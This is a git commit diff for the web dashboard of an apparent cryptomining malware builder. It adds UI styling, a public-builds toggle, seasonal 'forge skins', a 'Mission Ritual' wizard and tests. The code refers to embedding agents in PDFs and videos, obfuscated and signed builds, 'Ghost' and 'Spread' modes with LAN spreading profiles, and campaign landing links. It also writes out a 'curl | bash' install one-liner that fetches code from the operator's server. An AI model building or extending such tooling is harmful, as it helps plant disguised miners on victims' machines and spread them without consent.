feat: alive UI wave, galaxy presence, spread and fleet enhancements
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
This commit is contained in:
@@ -54,7 +54,7 @@ function QuickDeployPanel({ serverInfo }: { serverInfo: ServerInfo | null }) {
|
||||
);
|
||||
|
||||
return (
|
||||
<NeonCard accent="cyan" style={{ marginBottom: '1.25rem' }}>
|
||||
<NeonCard accent="cyan" className="operator-deck-card operator-interactive" style={{ marginBottom: '1.25rem' }}>
|
||||
<div style={{ display: 'flex', alignItems: 'center', gap: '0.75rem', marginBottom: '0.75rem' }}>
|
||||
<span style={{ fontSize: '1.2rem' }}>⚡</span>
|
||||
<div>
|
||||
@@ -370,7 +370,7 @@ export default function AgentsPage() {
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
<div className="page fade-in command-deck operator-deck-page">
|
||||
<header className="deck-hero">
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">FLEET REGISTRY</p>
|
||||
@@ -400,7 +400,7 @@ export default function AgentsPage() {
|
||||
</NeonCard>
|
||||
) : (
|
||||
<div className="agents-layout">
|
||||
<div className="agents-list-panel">
|
||||
<div className="agents-list-panel operator-deck-card operator-interactive">
|
||||
<FleetToolbar
|
||||
agents={agents}
|
||||
filters={filters}
|
||||
@@ -443,7 +443,7 @@ export default function AgentsPage() {
|
||||
</div>
|
||||
|
||||
{selectedAgent && (
|
||||
<NeonCard accent="cyan" className="agent-detail" hud>
|
||||
<NeonCard accent="cyan" className="agent-detail operator-deck-card operator-interactive" hud>
|
||||
<h2 className="font-display">{selectedAgent.name}</h2>
|
||||
{(selectedAgent.tags?.length ?? 0) > 0 && (
|
||||
<div style={{ marginBottom: '0.5rem' }}>
|
||||
|
||||
@@ -354,6 +354,37 @@
|
||||
color: #f87171;
|
||||
}
|
||||
|
||||
.bm-tag-public {
|
||||
color: #7dd3fc;
|
||||
border-color: rgba(125, 211, 252, 0.45);
|
||||
background: rgba(125, 211, 252, 0.1);
|
||||
}
|
||||
|
||||
.bm-public-btn {
|
||||
font-size: 0.78rem;
|
||||
padding: 0.3rem 0.7rem;
|
||||
background: rgba(56, 189, 248, 0.08);
|
||||
border: 1px solid rgba(56, 189, 248, 0.3);
|
||||
border-radius: 4px;
|
||||
color: #7dd3fc;
|
||||
cursor: pointer;
|
||||
transition: background 0.15s, border-color 0.15s, box-shadow 0.15s;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.bm-public-btn:hover:not(:disabled) {
|
||||
background: rgba(56, 189, 248, 0.18);
|
||||
border-color: rgba(56, 189, 248, 0.55);
|
||||
}
|
||||
|
||||
.bm-public-btn-active {
|
||||
background: rgba(56, 189, 248, 0.16);
|
||||
border-color: rgba(56, 189, 248, 0.6);
|
||||
color: #38bdf8;
|
||||
box-shadow: 0 0 8px rgba(56, 189, 248, 0.25);
|
||||
font-weight: 600;
|
||||
}
|
||||
|
||||
@media (max-width: 640px) {
|
||||
.bm-grid {
|
||||
grid-template-columns: 1fr;
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
*/
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import { cleanup, render, screen, waitFor } from '@testing-library/react';
|
||||
import userEvent from '@testing-library/user-event';
|
||||
import { MemoryRouter } from 'react-router-dom';
|
||||
import BuildManagerPage, {
|
||||
fmtSize,
|
||||
@@ -91,4 +92,19 @@ describe('BuildManagerPage', () => {
|
||||
expect(screen.getByText('office-worker')).toBeTruthy();
|
||||
});
|
||||
});
|
||||
|
||||
it('toggles public flag via API', async () => {
|
||||
vi.spyOn(api, 'setBuildPublic').mockResolvedValue({ ok: true, id: 'build-1', public: true });
|
||||
render(
|
||||
<MemoryRouter future={routerFuture}>
|
||||
<BuildManagerPage />
|
||||
</MemoryRouter>
|
||||
);
|
||||
await waitFor(() => expect(screen.getByText('office-worker')).toBeTruthy());
|
||||
const btn = screen.getByRole('button', { name: /mark public/i });
|
||||
await userEvent.click(btn);
|
||||
await waitFor(() => {
|
||||
expect(api.setBuildPublic).toHaveBeenCalledWith('build-1', true);
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
@@ -108,6 +108,45 @@ function DeleteButton({ buildId, onDeleted, onError }: { buildId: string; onDele
|
||||
);
|
||||
}
|
||||
|
||||
function PublicButton({
|
||||
buildId,
|
||||
isPublic,
|
||||
onToggled,
|
||||
onError,
|
||||
}: {
|
||||
buildId: string;
|
||||
isPublic: boolean;
|
||||
onToggled: () => void;
|
||||
onError: (msg: string) => void;
|
||||
}) {
|
||||
const [busy, setBusy] = useState(false);
|
||||
|
||||
const handleClick = async () => {
|
||||
if (busy) return;
|
||||
setBusy(true);
|
||||
try {
|
||||
await api.setBuildPublic(buildId, !isPublic);
|
||||
onToggled();
|
||||
} catch (e) {
|
||||
onError(e instanceof Error ? e.message : 'Failed to update public flag');
|
||||
} finally {
|
||||
setBusy(false);
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<button
|
||||
type="button"
|
||||
className={`bm-public-btn${isPublic ? ' bm-public-btn-active' : ''}`}
|
||||
disabled={busy}
|
||||
onClick={() => void handleClick()}
|
||||
title={isPublic ? 'Remove from login-page public builds list' : 'Expose on unauthenticated public builds API'}
|
||||
>
|
||||
{busy ? '…' : isPublic ? '🌐 Public' : '🌐 Mark public'}
|
||||
</button>
|
||||
);
|
||||
}
|
||||
|
||||
function PinButton({
|
||||
buildId,
|
||||
pinned,
|
||||
@@ -177,7 +216,7 @@ function BuildCard({
|
||||
const sh = `curl -sL ${serverBase}/install.sh | bash`;
|
||||
|
||||
return (
|
||||
<NeonCard accent={build.pinned ? 'green' : 'brass'} className={`bm-card${build.pinned ? ' bm-card-pinned' : ''}`}>
|
||||
<NeonCard accent={build.pinned ? 'green' : 'brass'} className={`bm-card operator-deck-card operator-interactive${build.pinned ? ' bm-card-pinned' : ''}`}>
|
||||
{/* ── Pinned banner ── */}
|
||||
{build.pinned && (
|
||||
<div className="bm-pinned-banner">
|
||||
@@ -195,6 +234,7 @@ function BuildCard({
|
||||
>
|
||||
{platformLabel(build.platform)}
|
||||
</span>
|
||||
{build.public && <span className="bm-tag bm-tag-public">PUBLIC</span>}
|
||||
{isFusion && <span className="bm-tag bm-tag-fusion">FUSION</span>}
|
||||
{isUniversal && !isFusion && <span className="bm-tag bm-tag-universal">UNIVERSAL</span>}
|
||||
</div>
|
||||
@@ -294,6 +334,7 @@ function BuildCard({
|
||||
<span className="bm-qr-label">Scan to download</span>
|
||||
</div>
|
||||
<div className="bm-action-btns">
|
||||
<PublicButton buildId={build.id} isPublic={!!build.public} onToggled={onPinned} onError={onActionError} />
|
||||
<PinButton buildId={build.id} pinned={!!build.pinned} onPinned={onPinned} onError={onActionError} />
|
||||
<button
|
||||
type="button"
|
||||
@@ -349,7 +390,7 @@ export default function BuildManagerPage() {
|
||||
}, [navigate]);
|
||||
|
||||
return (
|
||||
<div className="page fade-in bm-page">
|
||||
<div className="page fade-in bm-page operator-deck-page">
|
||||
<div className="bm-header">
|
||||
<div>
|
||||
<h1 className="font-display bm-title">Build Manager</h1>
|
||||
|
||||
171
server/web/src/pages/BuilderPage.css
Normal file
171
server/web/src/pages/BuilderPage.css
Normal file
@@ -0,0 +1,171 @@
|
||||
/* ── Forge seasonal skins (scoped to BuilderPage root) ───────────────────── */
|
||||
|
||||
.forge-skin--aether {
|
||||
--forge-accent: var(--neon-cyan, #00d4ff);
|
||||
--forge-accent-secondary: var(--neon-amber, #ffc107);
|
||||
--forge-accent-dim: rgba(0, 212, 255, 0.38);
|
||||
--forge-accent-bg: rgba(0, 212, 255, 0.07);
|
||||
--forge-glow: rgba(0, 212, 255, 0.6);
|
||||
--forge-border-glow: 0 0 22px -6px rgba(0, 212, 255, 0.45);
|
||||
--forge-progress-from: #ff6a00;
|
||||
--forge-progress-mid: #ffb300;
|
||||
--forge-progress-to: #ffd700;
|
||||
}
|
||||
|
||||
.forge-skin--ghost {
|
||||
--forge-accent: #4d7fff;
|
||||
--forge-accent-secondary: #8eb8ff;
|
||||
--forge-accent-dim: rgba(77, 127, 255, 0.42);
|
||||
--forge-accent-bg: rgba(45, 85, 200, 0.1);
|
||||
--forge-glow: rgba(77, 127, 255, 0.65);
|
||||
--forge-border-glow: 0 0 24px -5px rgba(77, 127, 255, 0.5);
|
||||
--forge-progress-from: #2f5fd4;
|
||||
--forge-progress-mid: #4d7fff;
|
||||
--forge-progress-to: #a8c8ff;
|
||||
}
|
||||
|
||||
.forge-skin--halloween {
|
||||
--forge-accent: #b794f6;
|
||||
--forge-accent-secondary: #ff8c3a;
|
||||
--forge-accent-dim: rgba(183, 148, 246, 0.45);
|
||||
--forge-accent-bg: rgba(100, 50, 160, 0.12);
|
||||
--forge-glow: rgba(255, 140, 58, 0.58);
|
||||
--forge-border-glow: 0 0 24px -5px rgba(183, 148, 246, 0.45), 0 0 12px -8px rgba(255, 140, 58, 0.35);
|
||||
--forge-progress-from: #6d28d9;
|
||||
--forge-progress-mid: #b794f6;
|
||||
--forge-progress-to: #ff8c3a;
|
||||
}
|
||||
|
||||
.forge-skin--wildfire {
|
||||
--forge-accent: #ff8c3a;
|
||||
--forge-accent-secondary: #ff4d00;
|
||||
--forge-accent-dim: rgba(255, 120, 40, 0.48);
|
||||
--forge-accent-bg: rgba(255, 70, 10, 0.11);
|
||||
--forge-glow: rgba(255, 100, 20, 0.68);
|
||||
--forge-border-glow: 0 0 26px -4px rgba(255, 120, 40, 0.55);
|
||||
--forge-progress-from: #e63e00;
|
||||
--forge-progress-mid: #ff8c3a;
|
||||
--forge-progress-to: #ffcc66;
|
||||
}
|
||||
|
||||
.forge-skin--crucible {
|
||||
--forge-accent: #d4af37;
|
||||
--forge-accent-secondary: #e85d4a;
|
||||
--forge-accent-dim: rgba(212, 175, 55, 0.48);
|
||||
--forge-accent-bg: rgba(160, 40, 25, 0.11);
|
||||
--forge-glow: rgba(232, 93, 74, 0.62);
|
||||
--forge-border-glow: 0 0 24px -5px rgba(212, 175, 55, 0.4), 0 0 14px -8px rgba(232, 93, 74, 0.4);
|
||||
--forge-progress-from: #a67c00;
|
||||
--forge-progress-mid: #e85d4a;
|
||||
--forge-progress-to: #ffd700;
|
||||
}
|
||||
|
||||
/* Subtle deck chrome */
|
||||
[class*='forge-skin--'] .deck-hero::after {
|
||||
background: linear-gradient(90deg, var(--forge-accent), var(--forge-accent-secondary, var(--forge-accent)), transparent);
|
||||
box-shadow: 0 0 14px var(--forge-glow);
|
||||
animation: forge-deck-accent-pulse 3s ease-in-out infinite;
|
||||
}
|
||||
|
||||
@keyframes forge-deck-accent-pulse {
|
||||
0%,
|
||||
100% {
|
||||
opacity: 0.85;
|
||||
box-shadow: 0 0 10px var(--forge-glow);
|
||||
}
|
||||
50% {
|
||||
opacity: 1;
|
||||
box-shadow: 0 0 18px var(--forge-glow);
|
||||
}
|
||||
}
|
||||
|
||||
[class*='forge-skin--'] .deck-eyebrow {
|
||||
color: var(--forge-accent);
|
||||
}
|
||||
|
||||
[class*='forge-skin--'] .builder-form.card {
|
||||
border-color: var(--forge-accent-dim);
|
||||
box-shadow: var(--forge-border-glow, 0 0 18px -8px var(--forge-glow));
|
||||
transition: border-color 0.35s ease, box-shadow 0.35s ease;
|
||||
}
|
||||
|
||||
[class*='forge-skin--'] .endpoint-chip {
|
||||
color: var(--forge-accent-secondary, var(--forge-accent));
|
||||
}
|
||||
|
||||
[class*='forge-skin--'] .endpoint-chip:hover {
|
||||
border-color: var(--forge-accent);
|
||||
background: var(--forge-accent-bg);
|
||||
}
|
||||
|
||||
[class*='forge-skin--'] .endpoint-chip.active {
|
||||
border-color: var(--forge-accent);
|
||||
color: var(--forge-accent);
|
||||
background: var(--forge-accent-bg);
|
||||
}
|
||||
|
||||
/* Operation mode chip select micro-animation */
|
||||
[class*='forge-skin--'] .forge-mode-chip {
|
||||
transition:
|
||||
transform 0.22s cubic-bezier(0.34, 1.2, 0.64, 1),
|
||||
box-shadow 0.25s ease,
|
||||
border-color 0.18s ease,
|
||||
background 0.18s ease,
|
||||
color 0.18s ease;
|
||||
}
|
||||
|
||||
[class*='forge-skin--'] .forge-mode-chip.active {
|
||||
animation: forge-mode-chip-pop 0.42s cubic-bezier(0.34, 1.4, 0.64, 1);
|
||||
box-shadow:
|
||||
0 0 14px var(--forge-glow),
|
||||
inset 0 0 10px color-mix(in srgb, var(--forge-accent) 12%, transparent);
|
||||
}
|
||||
|
||||
@keyframes forge-mode-chip-pop {
|
||||
0% {
|
||||
transform: scale(0.9);
|
||||
}
|
||||
55% {
|
||||
transform: scale(1.06);
|
||||
}
|
||||
100% {
|
||||
transform: scale(1);
|
||||
}
|
||||
}
|
||||
|
||||
[class*='forge-skin--'] .forge-simple-banner {
|
||||
border-color: var(--forge-accent-dim);
|
||||
background: var(--forge-accent-bg);
|
||||
}
|
||||
|
||||
[class*='forge-skin--'] .forge-progress-wrap {
|
||||
border-color: var(--forge-accent-dim);
|
||||
background: var(--forge-accent-bg);
|
||||
}
|
||||
|
||||
[class*='forge-skin--'] .forge-progress-icon {
|
||||
color: var(--forge-accent);
|
||||
}
|
||||
|
||||
[class*='forge-skin--'] .forge-progress-stage {
|
||||
color: var(--forge-accent-secondary, var(--forge-accent));
|
||||
}
|
||||
|
||||
[class*='forge-skin--'] .forge-progress-pct {
|
||||
color: var(--forge-accent);
|
||||
}
|
||||
|
||||
[class*='forge-skin--'] .forge-progress-fill {
|
||||
background: linear-gradient(
|
||||
90deg,
|
||||
var(--forge-progress-from),
|
||||
var(--forge-progress-mid),
|
||||
var(--forge-progress-to)
|
||||
);
|
||||
box-shadow: 0 0 8px var(--forge-glow);
|
||||
}
|
||||
|
||||
[class*='forge-skin--'] .forge-progress-glow {
|
||||
background: color-mix(in srgb, var(--forge-accent) 45%, transparent);
|
||||
box-shadow: 0 0 10px 4px var(--forge-glow);
|
||||
}
|
||||
@@ -2,7 +2,7 @@
|
||||
* @vitest-environment happy-dom
|
||||
*/
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react';
|
||||
import { cleanup, fireEvent, render, screen, waitFor, within } from '@testing-library/react';
|
||||
import userEvent from '@testing-library/user-event';
|
||||
import { MemoryRouter } from 'react-router-dom';
|
||||
import BuilderPage, { formatBytes } from './BuilderPage';
|
||||
@@ -21,6 +21,12 @@ function renderBuilder(initialEntries = ['/forge']) {
|
||||
);
|
||||
}
|
||||
|
||||
function missionWizardScope() {
|
||||
const root = screen.getByText('MISSION RITUAL — 3-STEP WIZARD').closest('.forge-mission-wizard');
|
||||
if (!root) throw new Error('Mission wizard not found');
|
||||
return within(root as HTMLElement);
|
||||
}
|
||||
|
||||
describe('formatBytes', () => {
|
||||
it('formats sub-kilobyte values as bytes', () => {
|
||||
expect(formatBytes(512)).toBe('512 B');
|
||||
@@ -184,4 +190,104 @@ describe('BuilderPage', () => {
|
||||
screen.getByText(/Drop any file — PDF, video, document/i)
|
||||
).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('applies forge skin class from default operation mode', async () => {
|
||||
localStorage.setItem('aetherforge-operation-mode', 'ghost_walk');
|
||||
localStorage.setItem('aetherforge-forge-theme', 'auto');
|
||||
const { container } = renderBuilder();
|
||||
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
|
||||
expect(container.querySelector('.command-deck')).toHaveClass('forge-skin--ghost');
|
||||
});
|
||||
|
||||
it('honors forge theme override over operation mode', async () => {
|
||||
localStorage.setItem('aetherforge-operation-mode', 'ghost_walk');
|
||||
localStorage.setItem('aetherforge-forge-theme', 'halloween');
|
||||
const { container } = renderBuilder();
|
||||
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
|
||||
expect(container.querySelector('.command-deck')).toHaveClass('forge-skin--halloween');
|
||||
expect(container.querySelector('.command-deck')).not.toHaveClass('forge-skin--ghost');
|
||||
});
|
||||
|
||||
it('updates forge skin when operation mode chip is selected', async () => {
|
||||
localStorage.setItem('aetherforge-forge-theme', 'auto');
|
||||
const { container } = renderBuilder();
|
||||
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
|
||||
await userEvent.setup().click(screen.getByRole('button', { name: 'Wildfire' }));
|
||||
expect(container.querySelector('.command-deck')).toHaveClass('forge-skin--wildfire');
|
||||
});
|
||||
|
||||
it('applies crucible skin for Crucible Storm mode', async () => {
|
||||
localStorage.setItem('aetherforge-operation-mode', 'crucible_storm');
|
||||
localStorage.setItem('aetherforge-forge-theme', 'auto');
|
||||
const { container } = renderBuilder();
|
||||
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
|
||||
expect(container.querySelector('.command-deck')).toHaveClass('forge-skin--crucible');
|
||||
});
|
||||
|
||||
it('applies halloween skin for Sigil Mask mode', async () => {
|
||||
localStorage.setItem('aetherforge-operation-mode', 'sigil_mask');
|
||||
localStorage.setItem('aetherforge-forge-theme', 'auto');
|
||||
const { container } = renderBuilder();
|
||||
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
|
||||
expect(container.querySelector('.command-deck')).toHaveClass('forge-skin--halloween');
|
||||
});
|
||||
|
||||
it('renders mission ritual wizard with three step pills', async () => {
|
||||
renderBuilder();
|
||||
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
|
||||
const wizard = missionWizardScope();
|
||||
expect(screen.getByText('MISSION RITUAL — 3-STEP WIZARD')).toBeInTheDocument();
|
||||
expect(wizard.getByRole('tab', { name: /Mode/i })).toBeInTheDocument();
|
||||
expect(wizard.getByRole('tab', { name: /Profile/i })).toBeInTheDocument();
|
||||
expect(wizard.getByRole('tab', { name: /Launch/i })).toBeInTheDocument();
|
||||
expect(wizard.getByRole('button', { name: 'Ghost' })).toBeInTheDocument();
|
||||
expect(wizard.getByRole('button', { name: 'Loud' })).toBeInTheDocument();
|
||||
expect(wizard.getByRole('button', { name: 'Spread' })).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('advances mission wizard from mode to profile to launch', async () => {
|
||||
const user = userEvent.setup();
|
||||
renderBuilder();
|
||||
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
|
||||
const wizard = missionWizardScope();
|
||||
|
||||
await user.click(wizard.getByRole('button', { name: 'Spread' }));
|
||||
await user.click(wizard.getByRole('button', { name: 'Next →' }));
|
||||
expect(wizard.getByText('Spread profile (optional)')).toBeInTheDocument();
|
||||
|
||||
await user.click(wizard.getByRole('button', { name: 'LAN Kindling' }));
|
||||
await user.click(wizard.getByRole('button', { name: 'Next →' }));
|
||||
expect(wizard.getByRole('button', { name: '🚀 Launch Ritual' })).toBeInTheDocument();
|
||||
expect(wizard.getByLabelText('Campaign slug (?c=)')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('runs mission ritual and shows success modal with spread landing link', async () => {
|
||||
vi.spyOn(api, 'buildAgent').mockResolvedValue({
|
||||
success: true,
|
||||
build_id: 'ritual-build-1',
|
||||
file_name: 'worker-ritual.exe',
|
||||
file_size: 4096,
|
||||
download_url: '/api/v1/builds/ritual-build-1/download',
|
||||
fusion_enabled: false,
|
||||
obfuscated: false,
|
||||
signed: false,
|
||||
});
|
||||
vi.spyOn(api, 'exportSpreadKit').mockResolvedValue(undefined);
|
||||
|
||||
const user = userEvent.setup();
|
||||
renderBuilder();
|
||||
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
|
||||
const wizard = missionWizardScope();
|
||||
|
||||
await user.click(wizard.getByRole('button', { name: 'Spread' }));
|
||||
await user.click(wizard.getByRole('button', { name: 'Next →' }));
|
||||
await user.click(wizard.getByRole('button', { name: 'LAN Kindling' }));
|
||||
await user.click(wizard.getByRole('button', { name: 'Next →' }));
|
||||
await user.click(wizard.getByRole('button', { name: '🚀 Launch Ritual' }));
|
||||
|
||||
expect(await screen.findByText('Mission complete — links copied')).toBeInTheDocument();
|
||||
expect(screen.getByRole('link', { name: 'Open spread landing' })).toHaveAttribute('href', '/spread/');
|
||||
expect(api.buildAgent).toHaveBeenCalled();
|
||||
expect(api.exportSpreadKit).toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
@@ -32,6 +32,7 @@ import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
|
||||
import DownloadButton from '../components/DownloadButton';
|
||||
import PoolPresetPicker from '../components/PoolPresetPicker';
|
||||
import RVNPoolPresetPicker from '../components/RVNPoolPresetPicker';
|
||||
import { useModalAmbientDuck } from '../context/AmbientMusicContext';
|
||||
import { useForge } from '../context/ForgeContext';
|
||||
import {
|
||||
fusionPayloadKind,
|
||||
@@ -43,7 +44,46 @@ import {
|
||||
defaultEmbeddedName,
|
||||
} from '../help/fusionMedia';
|
||||
import { SPREAD_PROFILES, applySpreadProfile, type SpreadProfileId } from '../help/spreadProfiles';
|
||||
import {
|
||||
FORGE_THEME_EVENT,
|
||||
OPERATION_MODES,
|
||||
applyOperationMode,
|
||||
forgeSkinClassName,
|
||||
loadStoredForgeTheme,
|
||||
loadStoredOperationMode,
|
||||
resolveForgeSkin,
|
||||
storeOperationMode,
|
||||
type OperationModeId,
|
||||
} from '../help/forgeOperationModes';
|
||||
import {
|
||||
MISSION_STEPS,
|
||||
MISSION_STEP_LABELS,
|
||||
applyMissionPresets,
|
||||
copyMissionLinks,
|
||||
missionStepStatus,
|
||||
runForgeMission,
|
||||
type MissionLinks,
|
||||
type MissionStep,
|
||||
} from '../help/forgeMission';
|
||||
import {
|
||||
MISSION_OPERATION_CHIPS,
|
||||
MISSION_WIZARD_STEPS,
|
||||
MISSION_WIZARD_STEP_LABELS,
|
||||
canAdvanceWizardStep,
|
||||
missionChipForMode,
|
||||
nextWizardStep,
|
||||
operationModeForChip,
|
||||
prevWizardStep,
|
||||
wizardPillStatus,
|
||||
type MissionOperationChip,
|
||||
type MissionWizardStep,
|
||||
} from '../help/forgeMissionWizard';
|
||||
import './Pages.css';
|
||||
import './BuilderPage.css';
|
||||
|
||||
function forgePageClass(operationMode: OperationModeId, themeOverride: ReturnType<typeof loadStoredForgeTheme>): string {
|
||||
return `page fade-in command-deck operator-deck-page ${forgeSkinClassName(resolveForgeSkin(operationMode, themeOverride))}`;
|
||||
}
|
||||
|
||||
export function formatBytes(n: number): string {
|
||||
if (n < 1024) return `${n} B`;
|
||||
@@ -160,6 +200,30 @@ export default function BuilderPage() {
|
||||
const [highlightFusionPrep, setHighlightFusionPrep] = useState(false);
|
||||
const fusionPrepRef = useRef<HTMLDivElement>(null);
|
||||
const [spreadProfile, setSpreadProfile] = useState<SpreadProfileId | ''>('');
|
||||
const [operationMode, setOperationMode] = useState<OperationModeId>(loadStoredOperationMode);
|
||||
const [forgeTheme, setForgeTheme] = useState(loadStoredForgeTheme);
|
||||
const [missionCampaign, setMissionCampaign] = useState('forge-mission');
|
||||
const [missionWizardStep, setMissionWizardStep] = useState<MissionWizardStep>('mode');
|
||||
const [missionOperationChip, setMissionOperationChip] = useState<MissionOperationChip>(() =>
|
||||
missionChipForMode(loadStoredOperationMode()),
|
||||
);
|
||||
const [missionStep, setMissionStep] = useState<MissionStep | null>(null);
|
||||
const [missionBusy, setMissionBusy] = useState(false);
|
||||
const [missionExportSkipped, setMissionExportSkipped] = useState(false);
|
||||
const [missionModal, setMissionModal] = useState<MissionLinks | null>(null);
|
||||
useModalAmbientDuck(!!missionModal);
|
||||
|
||||
useEffect(() => {
|
||||
const syncTheme = () => setForgeTheme(loadStoredForgeTheme());
|
||||
window.addEventListener(FORGE_THEME_EVENT, syncTheme);
|
||||
window.addEventListener('storage', syncTheme);
|
||||
return () => {
|
||||
window.removeEventListener(FORGE_THEME_EVENT, syncTheme);
|
||||
window.removeEventListener('storage', syncTheme);
|
||||
};
|
||||
}, []);
|
||||
|
||||
const forgeSkinClass = forgePageClass(operationMode, forgeTheme);
|
||||
|
||||
// Drive simulated stage progress while a single build is running
|
||||
useEffect(() => {
|
||||
@@ -248,7 +312,8 @@ export default function BuilderPage() {
|
||||
const buildList = builds as BuildRecord[];
|
||||
const base = defaultsFromConfig(config, info ?? { port: config.port || 8989, host: '', local_ips: [], suggested_url: '', dashboard_url: '', websocket_url: '' }, buildList);
|
||||
setRecentBuilds(buildList);
|
||||
setForm(applySmartForgeDefaults(base, { builds: buildList, endpointCandidates: candidates }));
|
||||
const withDefaults = applySmartForgeDefaults(base, { builds: buildList, endpointCandidates: candidates });
|
||||
setForm(applyOperationMode(withDefaults, loadStoredOperationMode()));
|
||||
})
|
||||
.catch((err) => {
|
||||
console.error(err);
|
||||
@@ -643,6 +708,72 @@ export default function BuilderPage() {
|
||||
}
|
||||
};
|
||||
|
||||
const selectMissionOperationChip = (chip: MissionOperationChip) => {
|
||||
setMissionOperationChip(chip);
|
||||
const modeId = operationModeForChip(chip);
|
||||
setOperationMode(modeId);
|
||||
storeOperationMode(modeId);
|
||||
if (form) setForm(applyOperationMode(form, modeId));
|
||||
};
|
||||
|
||||
const handleLaunchMission = async () => {
|
||||
if (!form) return;
|
||||
setError('');
|
||||
setLastBuild(null);
|
||||
setMissionModal(null);
|
||||
setMissionExportSkipped(false);
|
||||
setMissionWizardStep('launch');
|
||||
|
||||
const normalized = applyMissionPresets(form, operationMode, spreadProfile);
|
||||
setForm(normalized);
|
||||
|
||||
const checks = runForgePreflight(normalized, !!fusionPrepFile);
|
||||
if (preflightHasErrors(checks)) {
|
||||
setError('Mission blocked — fix preflight errors before launching.');
|
||||
return;
|
||||
}
|
||||
|
||||
const serverBase = (normalized.server_url || serverInfo?.suggested_url || window.location.origin).replace(/\/$/, '');
|
||||
const cancelToken = crypto.randomUUID();
|
||||
cancelTokenRef.current = cancelToken;
|
||||
setMissionBusy(true);
|
||||
setMissionStep('configure');
|
||||
setBuilding(true);
|
||||
|
||||
try {
|
||||
const result = await runForgeMission({
|
||||
form: normalized,
|
||||
operationMode,
|
||||
spreadProfile,
|
||||
campaign: missionCampaign,
|
||||
serverBase,
|
||||
fusionPrepFile,
|
||||
api,
|
||||
cancelToken,
|
||||
onStep: (step) => {
|
||||
setMissionStep(step);
|
||||
if (step === 'forge') startForge();
|
||||
},
|
||||
});
|
||||
setMissionExportSkipped(result.exportSkipped);
|
||||
setForm(normalized);
|
||||
await copyMissionLinks(result.links);
|
||||
setMissionModal(result.links);
|
||||
await finishForgeSuccess(result.build);
|
||||
} catch (err: unknown) {
|
||||
const msg = err instanceof Error ? err.message : 'Mission failed';
|
||||
if (msg !== 'build cancelled') {
|
||||
setMissionStep('error');
|
||||
setError(msg);
|
||||
void loadRecentBuilds();
|
||||
}
|
||||
} finally {
|
||||
cancelTokenRef.current = '';
|
||||
setMissionBusy(false);
|
||||
setBuilding(false);
|
||||
}
|
||||
};
|
||||
|
||||
const handleSubmit = async (e: React.FormEvent) => {
|
||||
e.preventDefault();
|
||||
if (!form) return;
|
||||
@@ -701,7 +832,7 @@ export default function BuilderPage() {
|
||||
const kind = form ? deriveDeliverableType(form) : 'single';
|
||||
// Preserve the user's manually-entered server_url — don't overwrite with LAN IP on defaults refresh
|
||||
const merged = applySmartForgeDefaults({ ...base, fusion_enabled: form.fusion_enabled, server_url: form.server_url || base.server_url }, { builds, endpointCandidates: candidates });
|
||||
setForm(applyDeliverableType(merged, kind));
|
||||
setForm(applyOperationMode(applyDeliverableType(merged, kind), operationMode));
|
||||
setBlueprintMsg('✅ Recommended defaults applied');
|
||||
setTimeout(() => setBlueprintMsg(''), 2500);
|
||||
} catch (err: unknown) {
|
||||
@@ -797,7 +928,7 @@ export default function BuilderPage() {
|
||||
|
||||
if (loadingDefaults) {
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
<div className={forgeSkinClass}>
|
||||
<header className="deck-hero">
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">INSTALLER FORGE</p>
|
||||
@@ -811,7 +942,7 @@ export default function BuilderPage() {
|
||||
|
||||
if (!form) {
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
<div className={forgeSkinClass}>
|
||||
<header className="deck-hero">
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">INSTALLER FORGE</p>
|
||||
@@ -838,7 +969,7 @@ export default function BuilderPage() {
|
||||
const setupStatus = getSetupStatus(calibrateConfig);
|
||||
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
<div className={forgeSkinClass}>
|
||||
<SetupBanner status={setupStatus} />
|
||||
{pendingReforgeBuild && (
|
||||
<div className="reforge-confirm-banner form-error" role="alert">
|
||||
@@ -1009,12 +1140,18 @@ export default function BuilderPage() {
|
||||
)}
|
||||
|
||||
<div className="builder-layout builder-layout-wide">
|
||||
<div className="card cheat-sheet-panel">
|
||||
<div className="card cheat-sheet-panel operator-deck-card operator-interactive">
|
||||
<h2>Quick links</h2>
|
||||
<p className="form-hint">Full visual guide with pipeline, Fusion, AI, and troubleshooting.</p>
|
||||
<Link to="/guide" className="btn btn-primary" style={{ marginBottom: '1rem', display: 'inline-block' }}>
|
||||
<a
|
||||
href="/docs/"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="btn btn-primary"
|
||||
style={{ marginBottom: '1rem', display: 'inline-block' }}
|
||||
>
|
||||
Open Field Guide
|
||||
</Link>
|
||||
</a>
|
||||
<div className="cheat-sheet">
|
||||
{SETUP_CHEATSHEET.map((item) => (
|
||||
<div key={item.title} className="cheat-sheet-item">
|
||||
